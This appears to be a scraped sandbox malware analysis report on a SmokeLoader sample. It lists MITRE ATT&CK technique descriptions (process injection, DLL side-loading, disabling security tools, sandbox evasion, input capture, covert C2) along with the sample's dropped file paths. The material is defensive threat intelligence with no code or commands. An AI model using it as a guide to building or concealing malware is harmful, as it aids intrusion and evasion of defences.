Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report hoEtvOOrYH.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Bus

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Delivering

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Earrings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Focused

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Focused.cmd (copy)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Grey

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Modules

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Project

Windows Analysis Report
hoEtvOOrYH.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre